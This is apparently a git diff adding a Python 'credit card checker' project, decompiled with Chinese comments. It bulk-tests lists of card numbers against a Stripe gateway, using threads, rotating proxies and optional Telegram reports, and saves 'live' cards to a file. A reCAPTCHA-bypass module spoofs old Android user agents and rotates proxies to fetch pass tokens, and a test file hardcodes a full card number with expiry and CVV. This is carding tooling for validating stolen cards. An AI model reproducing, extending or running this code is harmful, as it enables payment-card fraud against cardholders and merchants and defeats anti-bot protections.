unreachable — host down or port blocked.' + elif 'timed out' in err_msg: hint = 'Proxy timeout — slow or overloaded proxy.' + elif 'tls' in err_msg or 'ssl' in err_msg: hint = 'Proxy SSL handshake failed — bad HTTPS proxy.' + elif '407' in err_msg: hint = 'Proxy authentication required.' + elif 'badgateway' in err_msg or '502' in err_msg: hint = 'Proxy bad gateway — upstream error.' + elif 'invalid header' in err_msg: hint = 'Proxy returned invalid/malformed headers.' + elif 'tunnel failed' in err_msg: hint = 'HTTP CONNECT tunnel could not be established.' + else: hint = 'General proxy error.' + elif isinstance(e, exceptions.InvalidURL): + hint = 'Invalid URL — malformed or contains illegal characters.' + elif 'locationparseerror' in error_type.lower(): + hint = 'URL parsing failed — possibly missing scheme or bad format.' + elif 'failed to parse' in err_msg: + hint = 'URL could not be parsed — check formatting.' + elif 'invalid proxy' in err_msg: + hint = 'Proxy format invalid — please check credentials or host format.' + elif isinstance(e, (exceptions.SSLError, urllib3.exceptions.SSLError)): + if 'certificate verify failed' in err_msg: hint = 'SSL certificate verification failed.' + elif 'wrong version number' in err_msg: hint = 'SSL version mismatch — proxy/host using invalid TLS.' + elif 'sslv3 alert handshake failure' in err_msg: hint = 'SSL handshake failure — cipher mismatch.' + elif 'unknown protocol' in err_msg: hint = 'SSL protocol error — non-HTTPS on HTTPS port?' + else: hint = 'General SSL/TLS error.' + elif isinstance(e, exceptions.HTTPError): + if '401' in err_msg: hint = 'Unauthorized — incorrect credentials.' + elif '403' in err_msg: hint = 'Forbidden — server blocked access.' + elif '404' in err_msg: hint = 'Resource not found.' + elif '429' in err_msg: hint = 'Rate limited — too many requests.' + elif '500' in err_msg: hint = 'Server error — try again later.' + elif '502' in err_msg: hint = 'Bad gateway — upstream service error.' + elif '503' in err_msg: hint = 'Service unavailable — overloaded or down.' + elif '504' in err_msg: hint = 'Gateway timeout — upstream took too long.' + else: hint = 'HTTP error occurred.' + elif isinstance(e, urllib3.exceptions.NewConnectionError): + hint = 'Failed to create a new connection — DNS blocked or invalid host.' + elif isinstance(e, urllib3.exceptions.MaxRetryError): + hint = 'Max retries exceeded — persistent connection failures.' + elif isinstance(e, socket.gaierror): + hint = 'DNS lookup failed — host cannot be resolved.' + elif isinstance(e, socket.error): + if 'refused' in err_msg: hint = 'Socket refused — server not accepting connections.' + elif 'reset' in err_msg: hint = 'Socket reset — remote closed abruptly.' + elif 'timed out' in err_msg: hint = 'Socket timeout.' + elif 'blocked' in err_msg: hint = 'Port blocked by firewall or ISP.' + else: hint = 'General low-level socket error.' + + with print_lock: + print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}-» {Fore.YELLOW}{error_type}: {hint}{Style.RESET_ALL}") + + sess.close() + # 如果异常发生,继续下一次重试,直到 max_attempts + continue + + # 循环结束 + sess.close() + return ("Max attempts reached", None) \ No newline at end of file diff --git a/checker/legacy/main.py b/checker/legacy/main.py new file mode 100644 index 0000000..ada8f74 --- /dev/null +++ b/checker/legacy/main.py @@ -0,0 +1,248 @@ +import os +import sys +import time +import requests +import pyfiglet +from concurrent.futures import ThreadPoolExecutor, as_completed +from colorama import Fore, Style, init as colorama_init +# Import the checker module (not the function) so we can access attributes on it. +import check as checker_mod + +# --- 模拟缺失的辅助模块/函数 (根据全局定义还原结构) --- +# 注意:原代码中这些函数有具体实现,但字节码中未提供其函数体, +# 这里根据 main 函数的调用方式进行了补全,以确保代码逻辑通顺。 +import logging +logging.basicConfig(level=logging.DEBUG) +# 全局常量 +THREADS_MAX = 3 +DEFAULT_THREADS = 1 +THREADS_MIN = 1 +tg_token = None +tg_chat_id = None + +# 初始化 Colorama +colorama_init(autoreset=True) + +class LC: + """模拟许可证检查类""" + def __init__(self, label): + self.label = label + self.sio = self.MockSocket() + + class MockSocket: + def disconnect(self): + pass + + def inline(self, fields): + # 模拟返回许可证信息字符串 + return f"{Fore.GREEN}License Active: {self.label}{Style.RESET_ALL}" + +# 实例化许可证对象 +DEFAULT_LABEL = os.getenv('LICENSE_LABEL', 'Stripeauth1') +lic = LC(label=DEFAULT_LABEL) + +def init_license(): + pass + +def pick_gradient(): + # 模拟返回一个渐变色配置 + return ['#ff0000', '#00ff00'] + +def color_gradient_text(text, gradient): + # 模拟渐变色文本处理 + return text + +def load_proxy_list(proxy_input): + # 模拟代理加载逻辑 + if not proxy_input: + return [] + # 简单模拟:如果是文件则读取,否则按逗号分割 + if os.path.exists(proxy_input): + with open(proxy_input, 'r') as f: + return [line.strip() for line in f if line.strip()] + return [p.strip() for p in proxy_input.split(',') if p.strip()] + +def worker(card, proxy_list): + # 每个线程使用独立的 Session,避免线程间共享连接导致冲突 + with requests.Session() as sess: + msg, stat = checker_mod.check(card, sess, proxy_list) + return card, (msg, stat) + +# -------------------------------------------------------- +# 核心 Main 函数 +# -------------------------------------------------------- + +def main(): + # 清理屏幕 + os.system('cls' if os.name == 'nt' else 'clear') + + # 显示初始 Banner + banner = pyfiglet.figlet_format('CHK-TOOLS', font='ansi_shadow') + gradient = pick_gradient() + print(color_gradient_text(banner, gradient)) + + print('- ' * 35) + print(lic.inline(fields=('Name', 'Status', 'Expire', 'Device'))) + print('- ' * 35) + + # 打印社交信息 + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Github {Fore.RED}: {Fore.YELLOW}github.com/KianSantang777") + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram {Fore.RED}: {Fore.YELLOW}t.me/xqndrs") + print('- ' * 35) + + # Telegram 配置输入 + global tg_token, tg_chat_id + tg_token = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Bot Token {Fore.MAGENTA}[{Fore.YELLOW}Enter to skip{Fore.MAGENTA}]{Fore.WHITE}: ").strip() + + if tg_token: + tg_chat_id = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Chat ID: ").strip() + if not tg_chat_id: + tg_token = None # 如果没有 ID,则作废 Token + else: + tg_token = None + + # 同步到 checker 模块供内部使用 + checker_mod.tg_token = tg_token + checker_mod.tg_chat_id = tg_chat_id + + # 读取卡片文件 + path = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter card file path (ex: {Fore.YELLOW}card.txt{Style.RESET_ALL}): ").strip() + if not path: + path = 'cc.txt' + + try: + with open(path, 'r', encoding='utf-8') as f: + # 读取非空行并去除首尾空格 + lines = [line.strip() for line in f] + # 这里的逻辑对应字节码 1308-1380 + temp_cards = [] + for line in lines: + if line.strip(): + temp_cards.append(line.strip()) + + # 去重逻辑 (对应字节码 1388-1446: list(dict.fromkeys(cards))) + cards = list(dict.fromkeys(temp_cards)) + + except OSError: + print(f"\n{Fore.RESET}[{Fore.LIGHTRED_EX}ERROR{Fore.RESET}] Unable to read file: {path}\n") + return + except UnicodeDecodeError: + print(f"\n{Fore.RESET}[{Fore.LIGHTRED_EX}ERROR{Fore.RESET}] File must be in {Fore.RESET}UTF-8 {Fore.RESET}encoding.\n") + return + except KeyboardInterrupt: + sys.exit(1) + + if not cards: + print(f"\n{Fore.RESET}[{Fore.LIGHTRED_EX}ERROR{Fore.RESET}] No card data found in {Fore.LIGHTRED_EX}{path}\n") + return + + # 代理设置 + print(f"{Fore.RED}[!] {Fore.LIGHTRED_EX}Note: {Fore.YELLOW}Comma separated, ex: user:pass@ip:port, ip:port:user:pass{Style.RESET_ALL}") + proxy_input = input(f"{Fore.RED}[+] {Fore.LIGHTWHITE_EX}Paste ur proxy kredensials {Style.RESET_ALL}{Fore.LIGHTBLACK_EX}[Press Enter to skip]{Style.RESET_ALL}: ").strip() + proxy_list = load_proxy_list(proxy_input) + + if proxy_list: + print(f"{Fore.YELLOW}[✓]{Style.RESET_ALL} Loaded {len(proxy_list)} proxies.") + else: + print(f"{Fore.YELLOW}[!] No proxy entered or no valid proxies loaded. Continuing without proxy.{Style.RESET_ALL}") + + # 线程设置 + try: + user_threads = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter number of threads (max {Fore.RED}{THREADS_MAX}{Style.RESET_ALL}, default {Fore.LIGHTRED_EX}{DEFAULT_THREADS}{Style.RESET_ALL}): ").strip() + if user_threads: + n = int(user_threads) + if n < THREADS_MIN: + print(f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] Minimum threads is {THREADS_MIN}. Using default {DEFAULT_THREADS}.{Style.RESET_ALL}") + threads = DEFAULT_THREADS + elif n > THREADS_MAX: + print(f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] Max threads is {THREADS_MAX}. Using {THREADS_MAX} threads.{Style.RESET_ALL}") + threads = THREADS_MAX + else: + threads = n + else: + threads = DEFAULT_THREADS + except ValueError: + print(f"{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] Invalid input. Using default {DEFAULT_THREADS} threads.{Style.RESET_ALL}") + threads = DEFAULT_THREADS + except KeyboardInterrupt: + sys.exit(1) + + # 初始化计数器 + cnt_live = 0 + cnt_dead = 0 + cnt_unknown = 0 + res = [] + + start = time.perf_counter() + + # 再次清理屏幕并显示正式运行 Banner + os.system('cls' if os.name == 'nt' else 'clear') + banner = pyfiglet.figlet_format('StripeAuth', font='ansi_shadow') + gradient = pick_gradient() + print(color_gradient_text(banner, gradient)) + + print('- ' * 35) + print(lic.inline(fields=('Name', 'Status', 'Expire', 'Device'))) + print('- ' * 35) + + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total card {Fore.YELLOW}: {Fore.YELLOW}{len(cards)}{Style.RESET_ALL}") + if proxy_list: + print(f"{Fore.YELLOW}[✓]{Fore.LIGHTWHITE_EX} Use {Fore.YELLOW}{len(proxy_list)} {Fore.LIGHTWHITE_EX}proxies.") + else: + print(f"{Fore.RED}[x] {Fore.LIGHTWHITE_EX}No proxy entered or no valid proxies loaded. Continuing without proxy.{Style.RESET_ALL}") + + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total threads {Fore.YELLOW}: {Fore.YELLOW}{threads}{Style.RESET_ALL}") + # 注意:原代码此处标签写的是 "Max retry",但加载的变量是 THREADS_MAX + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Max retry {Fore.YELLOW}: {Fore.YELLOW}{THREADS_MAX}{Style.RESET_ALL}") + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Live card saved to {Fore.YELLOW}: {Fore.LIGHTGREEN_EX}approvedcard.txt{Style.RESET_ALL}") + print('- ' * 35) + + # 开启线程池进行任务 + # 对应字节码: with requests.Session() as sess: (虽然这里sess没被显式用到worker里,但上下文管理器在) + with requests.Session() as sess: + with ThreadPoolExecutor(max_workers=threads) as ex: + # 提交任务: ex.submit(worker, card, proxy_list) + jobs = [ex.submit(worker, card, proxy_list) for card in cards] + + for fut in as_completed(jobs): + # 解包返回值: return card, (r, stat) + # 字节码 UNPACK_SEQUENCE 2 (card), UNPACK_SEQUENCE 2 (r, stat) + card, (r, stat) = fut.result() + + if stat is True: + cnt_live += 1 + res.append((card, 'LIVE')) + # 这里可能隐含写入文件的逻辑,或者在 worker 里写, + # 但根据字节码 4766-4800,这里只做了计数和append到res + elif stat is False: + cnt_dead += 1 + res.append((card, 'DEAD')) + else: + cnt_unknown += 1 + res.append((card, 'UNKNOWN')) + + elapsed = time.perf_counter() - start + + print('\n' + '- ' * 35) + print(f"{Style.RESET_ALL}DONE. Checked {Fore.YELLOW}{len(cards)}{Style.RESET_ALL} cards in {Fore.YELLOW}{elapsed:.2f} {Style.RESET_ALL}seconds.") + print(f"RESULTS: {Fore.LIGHTGREEN_EX}LIVE: {Style.RESET_ALL}{cnt_live}, {Fore.RED}DEAD: {Style.RESET_ALL}{cnt_dead}, {Fore.LIGHTYELLOW_EX}UNKNOWN: {Style.RESET_ALL}{cnt_unknown}\n\n") + +if __name__ == '__main__': + try: + init_license() + main() + if lic.sio: + lic.sio.disconnect() + print('Graceful exit.') + except ImportError: + os.system('pip install requests asyncio aiohttp faker colorama pyfiglet pycryptodome &> /dev//null') + print('\nRun again this tools\n') + sys.exit() + except KeyboardInterrupt: + print('\nExit requested.') + except Exception: + # 对应字节码 2516-2596 (License disconnect logic inside exception handler) + if lic.sio: + lic.sio.disconnect() + print('Graceful exit.') + raise \ No newline at end of file diff --git a/checker/legacy/recha/__init__.py b/checker/legacy/recha/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/checker/legacy/recha/constants.py b/checker/legacy/recha/constants.py new file mode 100644 index 0000000..bf2f5f7 --- /dev/null +++ b/checker/legacy/recha/constants.py @@ -0,0 +1,8 @@ +OLD_ANDROID_USER_AGENTS = [ + "Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", + "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Nexus 7 Build/JRO03D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30", + "Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", + "Mozilla/5.0 (Linux; U; Android 3.2; en-us; X oom Build/HTK75D) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13", + "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/53736" + +] \ No newline at end of file diff --git a/checker/legacy/recha/proxy.py b/checker/legacy/recha/proxy.py new file mode 100644 index 0000000..1b6f88b --- /dev/null +++ b/checker/legacy/recha/proxy.py @@ -0,0 +1,25 @@ +import itertools +from typing import Optional, Union, List, Dict + +class ProxyRotator: + def __init__(self, proxies: Optional[Union[str, List[str]]]): + # 1. 如果传入的是单个字符串,先转换成列表 + if isinstance(proxies, str): + proxies = [proxies] + + # 2. 如果列表存在且不为空,创建一个无限循环迭代器 + if proxies: + self._proxies = itertools.cycle(proxies) + else: + self._proxies = None + + def get(self) -> Optional[Dict[str, str]]: + # 3. 每次调用 get(),都从循环迭代器中取下一个代理 + if self._proxies: + proxy = next(self._proxies) + # 4. 构造 requests 库需要的字典格式 + return { + 'http': proxy, + 'https': proxy + } + return None \ No newline at end of file diff --git a/checker/legacy/recha/reca.py b/checker/legacy/recha/reca.py new file mode 100644 index 0000000..bc6cb91 --- /dev/null +++ b/checker/legacy/recha/reca.py @@ -0,0 +1,151 @@ +import logging +import re +from time import sleep + +import random +import requests +# 假设 ProxyRotator 是外部定义的或者是同文件导入的 +from .proxy import ProxyRotator +# 假设 OLD_ANDROID_USER_AGENTS 是一个包含旧版安卓 UA 的全局列表 +from .constants import OLD_ANDROID_USER_AGENTS + +logger = logging.getLogger(__name__) + +class RecaptchaRequestor: + def __init__(self, timeout, proxies): + self.timeout = timeout + # 初始化代理轮换器,这是为了防止IP被封 + self.proxy_rotator = ProxyRotator(proxies) + self.base_url = 'https://www.google.com/recaptcha' + + def _random_headers(self): + # 关键点:伪装成旧版安卓手机 + user_agent = random.choice(OLD_ANDROID_USER_AGENTS) + return { + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': user_agent + } + + def _request(self, method, endpoint, **kwargs): + # 构造完整 URL + url = f"{self.base_url}{endpoint}" + + # 设置默认超时和 Header + kwargs.setdefault('timeout', self.timeout) + kwargs['headers'] = self._random_headers() + + # 每次请求都切换代理 IP + kwargs['proxies'] = self.proxy_rotator.get() + + try: + # 发送请求 + logger.debug('Recaptcha request %s %s params=%s', method, url, kwargs.get('params')) + response = requests.request(method, url, **kwargs) + response.raise_for_status() + logger.debug('Recaptcha response %s %s status=%s', method, url, response.status_code) + return response.text + except requests.RequestException as exc: + logger.warning('Recaptcha request failed %s %s: %s', method, url, exc) + return None + + def fetch_anchor_token(self, api_type, params): + # 请求具体的 api_type (api2/enterprise) anchor 接口获取初始 Session + return self._request('GET', f'/{api_type}/anchor', params=params) + + def fetch_recaptcha_token(self, api_type, s_params, payload): + # 请求 "/reload" 接口提交答案 + # payload 包含了上一条日志中生成的加密数据 + text = self._request('POST', f'/{api_type}/reload', params={'k': s_params.get('k')}, data=payload) + + if text: + # 从返回的 JSON/文本中提取最终的 "rresp" Token + match = re.search(r'"rresp","(.*?)"', text) + if match: + return match.group(1) + return None + + +class RecaptchaSolverSync: + + MAX_RETRIES = 20 + RETRY_DELAY = 1 + + def __init__(self, timeout, proxies): + # 依赖外部的一个 Requestor 类来发送 HTTP 请求 + self.client = RecaptchaRequestor(timeout=timeout, proxies=proxies) + + @staticmethod + def _parse_api_type(anchor_url): + # 正则分析 URL,判断是标准版 (api2) 还是企业版 (enterprise) + match = re.search(r'(api2|enterprise)/anchor\?(.*)', anchor_url) + if match: + return match.group(1), match.group(2) + return None, None + + @staticmethod + def _extract_c_value(html): + # 关键步骤:从 Google 返回的 HTML 中提取 "c" 值(Session Token) + match = re.search(r'value="(.*?)"', html) + if match: + return match.group(1) + return None + + @staticmethod + def _parse_params(param_str): + # 解析 URL 查询字符串成字典,例如 "k=xxx&co=yyy" → {'k': 'xxx', 'co': 'yyy'} + params = {} + if param_str: + for pair in param_str.split('&'): + if '=' in pair: + key, value = pair.split('=', 1) + params[key] = value + return params + + def _build_payload(self, s_params, c_value): + # 构造发送给 Recaptcha 服务器的数据包 + # 包含了版本号(v)、原因(reason=q)、Token(c)、Sitekey(k) 等 + return f"v={s_params.get('v')}&reason=q&c={c_value}&k={s_params.get('k')}&co={s_params.get('co')}" + + def solve(self, anchor_url): + api_type, param_str = self._parse_api_type(anchor_url) + if not param_str: + logger.error('Invalid anchor URL provided: %s', anchor_url) + raise ValueError('Invalid anchor URL format.') + + s_params = self._parse_params(param_str) # 解析参数字典 + + logger.debug('Recaptcha solve start api_type=%s params=%s', api_type, s_params) + + # 重试循环:尝试最多 20 次 + for attempt in range(1, self.MAX_RETRIES + 1): + logger.debug('Recaptcha attempt %d/%d', attempt, self.MAX_RETRIES) + # 1. 请求 Anchor(复选框页面) + anchor_token_html = self.client.fetch_anchor_token(api_type, s_params) + if not anchor_token_html: + logger.debug('Anchor response empty, retrying...') + + sleep(self.RETRY_DELAY) + continue + + # 2. 提取 Session Token ("c" value) + c_value = self._extract_c_value(anchor_token_html) + if not c_value: + logger.debug('Failed to extract c value from anchor response.') + sleep(self.RETRY_DELAY) + continue + + # 3. 构造最终请求载荷 + payload = self._build_payload(s_params, c_value) + logger.debug('Payload prepared with keys: %s', list(s_params.keys())) + + # 4. 请求最终的 Pass Token + token = self.client.fetch_recaptcha_token(api_type, s_params, payload) + + if token: + logger.info('Recaptcha solved in %d attempt(s).', attempt) + return token # 成功拿到 Token! + + sleep(self.RETRY_DELAY) + + logger.error('Failed to solve reCAPTCHA after %d attempts.', self.MAX_RETRIES) + raise RuntimeError('Failed to solve reCAPTCHA after maximum retries.') \ No newline at end of file diff --git a/checker/legacy/test_check.py b/checker/legacy/test_check.py new file mode 100644 index 0000000..c958ce9 --- /dev/null +++ b/checker/legacy/test_check.py @@ -0,0 +1,10 @@ +import check +import requests + +# 测试单一卡片 +card = "4347272058609925|05|33|032" +proxy_list = [] + +with requests.Session() as sess: + msg, stat = check.check(card, sess, proxy_list) + print(f"Result: {msg}, Status: {stat}") \ No newline at end of file diff --git a/checker/legacy/utils.py b/checker/legacy/utils.py new file mode 100644 index 0000000..3a14c30 --- /dev/null +++ b/checker/legacy/utils.py @@ -0,0 +1,127 @@ +import random +import string + + +import random +import time + +import requests + +from datetime import timezone + + + +# fmt 参数是 keyword-only 参数,且有默认值 +# 默认值 '%Y-%m-%dT%H:%M:%SZ' 来自上一段字节码末尾的常量池 +def format_ts(dt, *, fmt='%Y-%m-%dT%H:%M:%SZ'): + # 1. 将时间对象 dt 转换为 UTC 时区 + # 2. 将转换后的时间对象格式化为字符串 + return dt.astimezone(timezone.utc).strftime(fmt) + +def telegram_send(bot_token, chat_id, text, timeout): + # 1. 检查必要参数 + if not bot_token or not chat_id: + return False + + try: + # 2. 构建 API URL + url = f'https://api.telegram.org/bot{bot_token}/sendMessage' + + # 3. 构建请求载荷 + payload = { + 'chat_id': chat_id, + 'text': text, + 'parse_mode': 'HTML', + 'disable_web_page_preview': True + } + + # 4. 发送 POST 请求 + requests.post(url, json=payload, timeout=timeout) + + # 5. 成功返回 + return True + + except Exception: + # 6. 发生错误返回 False + return False + + +def gstr(t, p, s): + # 1. 检查前缀 p 是否存在于文本 t 中 + if p not in t: + return '' + + # 2. 计算截取的起始位置 a + # t.find(p) 找到前缀的起始索引,加上 len(p) 跳过前缀本身 + a = t.find(p) + len(p) + + # 3. 查找后缀 s 的位置 b + # 从位置 a 开始向后查找,确保后缀在前缀之后 + b = t.find(s, a) + + # 4. 如果找到后缀(find 返回不是 -1),则切片返回内容 + if b != -1: + return t[a:b] + + # 5. 如果没找到后缀,返回空字符串 + return '' +# 根据字节码底部的常量还原的全局变量 UA +UA = ( + # Desktop Chrome (macOS) + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36', + # Desktop Chrome (Windows) + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36', + # Desktop Edge (Windows) + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0', + # Desktop Chrome (Linux) + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36', + # Desktop Firefox (macOS) + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0', + # Desktop Firefox (Windows) + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0' +) + +def sleep_random(min_seconds, max_seconds): + # 1. 生成 min_seconds 和 max_seconds 之间的随机浮点数 + delay = random.uniform(min_seconds, max_seconds) + + # 2. 执行睡眠 + time.sleep(delay) + + # 3. 返回延迟时间 (用于后续可能的日志记录或显示) + return delay + + +# 生成密码 +def generate_password(min_length, max_length): + + + # 1. 确定密码长度 + length = random.randint(min_length, max_length) + + # 2. 定义字符集 + lower = string.ascii_lowercase + upper = string.ascii_uppercase + digits = string.digits + symbols = '!@#$%^&*()-_=+[]{}|;:,.<>?/' + + # 3. 初始化密码列表,强制包含每种类型至少一个字符 + password = [ + random.choice(lower), + random.choice(upper), + random.choice(digits), + random.choice(symbols) + ] + + # 4. 组合所有可用字符 + all_chars = lower + upper + digits + symbols + + # 5. 填充剩余长度 (总长度 - 已生成的4个字符) + # 使用 random.choices 允许重复选取 + password += random.choices(all_chars, k=length - len(password)) + + # 6. 打乱字符顺序 + random.shuffle(password) + + # 7. 拼接成字符串并返回 + return ''.join(password) \ No newline at end of file diff --git a/checker/pyproject.toml b/checker/pyproject.toml new file mode 100644 index 0000000..25e7739 --- /dev/null +++ b/checker/pyproject.toml @@ -0,0 +1,74 @@ +[project] +name = "checker" +version = "0.2.0" +description = "Credit card checker tool with Stripe gateway support" +readme = "README.md" +requires-python = ">=3.10" +authors = [ + {name = "Your Name", email = "your.email@example.com"} +] +license = {text = "MIT"} +keywords = ["checker", "stripe", "card", "validation"] +classifiers = [ + "Development Status :: 3 - Alpha", + "Intended Audience :: Developers", + "License :: OSI Approved :: MIT License", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.10", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", +] + +dependencies = [ + "requests>=2.31.0", + "faker>=20.0.0", + "colorama>=0.4.6", + "pyfiglet>=1.0.2", + "urllib3>=2.0.0", + "pycryptodome>=3.23.0", + "v-jstools>=0.0.8", +] + +[project.optional-dependencies] +dev = [ + "pytest>=7.4.0", + "pytest-cov>=4.1.0", + "black>=23.0.0", + "ruff>=0.1.0", + "mypy>=1.7.0", +] + +[project.scripts] +checker = "checker.cli:main" + +[project.urls] +Homepage = "https://github.com/yourusername/checker" +Repository = "https://github.com/yourusername/checker" +Issues = "https://github.com/yourusername/checker/issues" + +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[tool.hatch.build.targets.wheel] +packages = ["src/checker"] + +[tool.black] +line-length = 100 +target-version = ['py310'] + +[tool.ruff] +line-length = 100 +target-version = "py310" + +[tool.mypy] +python_version = "3.10" +warn_return_any = true +warn_unused_configs = true +disallow_untyped_defs = true + +[tool.pytest.ini_options] +testpaths = ["tests"] +python_files = ["test_*.py"] +python_classes = ["Test*"] +python_functions = ["test_*"] diff --git a/checker/recha/proxy.py b/checker/recha/proxy.py new file mode 100644 index 0000000..1b6f88b --- /dev/null +++ b/checker/recha/proxy.py @@ -0,0 +1,25 @@ +import itertools +from typing import Optional, Union, List, Dict + +class ProxyRotator: + def __init__(self, proxies: Optional[Union[str, List[str]]]): + # 1. 如果传入的是单个字符串,先转换成列表 + if isinstance(proxies, str): + proxies = [proxies] + + # 2. 如果列表存在且不为空,创建一个无限循环迭代器 + if proxies: + self._proxies = itertools.cycle(proxies) + else: + self._proxies = None + + def get(self) -> Optional[Dict[str, str]]: + # 3. 每次调用 get(),都从循环迭代器中取下一个代理 + if self._proxies: + proxy = next(self._proxies) + # 4. 构造 requests 库需要的字典格式 + return { + 'http': proxy, + 'https': proxy + } + return None \ No newline at end of file diff --git a/checker/scripts/setup_with_uv.sh b/checker/scripts/setup_with_uv.sh new file mode 100644 index 0000000..1c0c66c --- /dev/null +++ b/checker/scripts/setup_with_uv.sh @@ -0,0 +1,24 @@ +#!/bin/bash +# 使用uv安装和运行项目 + +set -e + +echo "🚀 使用 uv 设置项目..." + +# 检查uv是否安装 +if ! command -v uv &> /dev/null; then + echo "❌ uv 未安装,请先安装 uv:" + echo " curl -LsSf https://astral.sh/uv/install.sh | sh" + exit 1 +fi + +# 安装项目依赖 +echo "📦 安装项目依赖..." +uv pip install -e . + +echo "✅ 安装完成!" +echo "" +echo "现在你可以运行:" +echo " checker # 运行命令行工具" +echo " python -m checker # 或使用模块方式" +echo " uv run python -m checker # 使用uv运行" diff --git a/checker/scripts/test_structure.py b/checker/scripts/test_structure.py new file mode 100644 index 0000000..1c9cb44 --- /dev/null +++ b/checker/scripts/test_structure.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +"""快速测试脚本 - 验证新项目结构""" +import sys +from pathlib import Path + +# 添加src到路径 +src_path = Path(__file__).parent.parent / 'src' +sys.path.insert(0, str(src_path)) + +from checker import Card, CheckStatus + +def test_imports(): + """测试所有模块导入""" + print("🔍 测试模块导入...") + + try: + from checker.models import Card, CheckResult, BinInfo + print("✅ models 模块导入成功") + + from checker.utils import format_ts, generate_password, gstr + print("✅ utils 模块导入成功") + + from checker.cards import parse_card_file, lookup_bin + print("✅ cards 模块导入成功") + + from checker.checkers import StripeChecker + print("✅ checkers 模块导入成功") + + from checker.integrations import RecaptchaSolver, ProxyRotator + print("✅ integrations 模块导入成功") + + from checker.cli import main + print("✅ cli 模块导入成功") + + return True + except Exception as e: + print(f"❌ 导入失败: {e}") + return False + + +def test_card_model(): + """测试卡片模型""" + print("\n🔍 测试卡片模型...") + + try: + # 测试解析 + card = Card.parse("4111111111111111|12|2025|123") + assert card.number == "4111111111111111" + assert card.month == "12" + assert card.year == "2025" + assert card.cvv == "123" + assert card.bin == "411111" + print("✅ 卡片解析正常") + + # 测试格式化 + formatted = card.formatted + assert formatted == "4111111111111111|12|25|123" + print("✅ 卡片格式化正常") + + return True + except Exception as e: + print(f"❌ 卡片模型测试失败: {e}") + return False + + +def test_utils(): + """测试工具函数""" + print("\n🔍 测试工具函数...") + + try: + from checker.utils import generate_password, gstr + + # 测试密码生成 + pwd = generate_password(10, 16) + assert 10 <= len(pwd) <= 16 + print(f"✅ 密码生成正常: {pwd}") + + # 测试字符串提取 + text = "prefix:EXTRACTED:suffix" + result = gstr(text, "prefix:", ":suffix") + assert result == "EXTRACTED" + print("✅ 字符串提取正常") + + return True + except Exception as e: + print(f"❌ 工具函数测试失败: {e}") + return False + + +def main(): + """主测试函数""" + print("=" * 60) + print("🚀 Checker 项目结构测试") + print("=" * 60) + + results = [] + + # 运行测试 + results.append(("模块导入", test_imports())) + results.append(("卡片模型", test_card_model())) + results.append(("工具函数", test_utils())) + + # 显示结果 + print("\n" + "=" * 60) + print("📊 测试结果汇总") + print("=" * 60) + + for name, passed in results: + status = "✅ 通过" if passed else "❌ 失败" + print(f"{name:20s}: {status}") + + all_passed = all(result[1] for result in results) + + if all_passed: + print("\n🎉 所有测试通过!项目结构正常。") + print("\n下一步:") + print(" 1. 安装依赖: uv pip install -e .") + print(" 2. 运行程序: python -m checker") + print(" 3. 或使用命令: checker") + else: + print("\n⚠️ 部分测试失败,请检查错误信息。") + + return 0 if all_passed else 1 + + +if __name__ == '__main__': + sys.exit(main()) diff --git a/checker/src/checker/__init__.py b/checker/src/checker/__init__.py new file mode 100644 index 0000000..28fbee8 --- /dev/null +++ b/checker/src/checker/__init__.py @@ -0,0 +1,20 @@ +"""Checker包主入口""" + +__version__ = '0.2.0' +__author__ = 'Your Name' +__description__ = 'Credit card checker tool' + +from .models import Card, CheckResult, CheckStatus, BinInfo +from .checkers import StripeChecker +from .cards import parse_card_file, deduplicate_cards, lookup_bin + +__all__ = [ + 'Card', + 'CheckResult', + 'CheckStatus', + 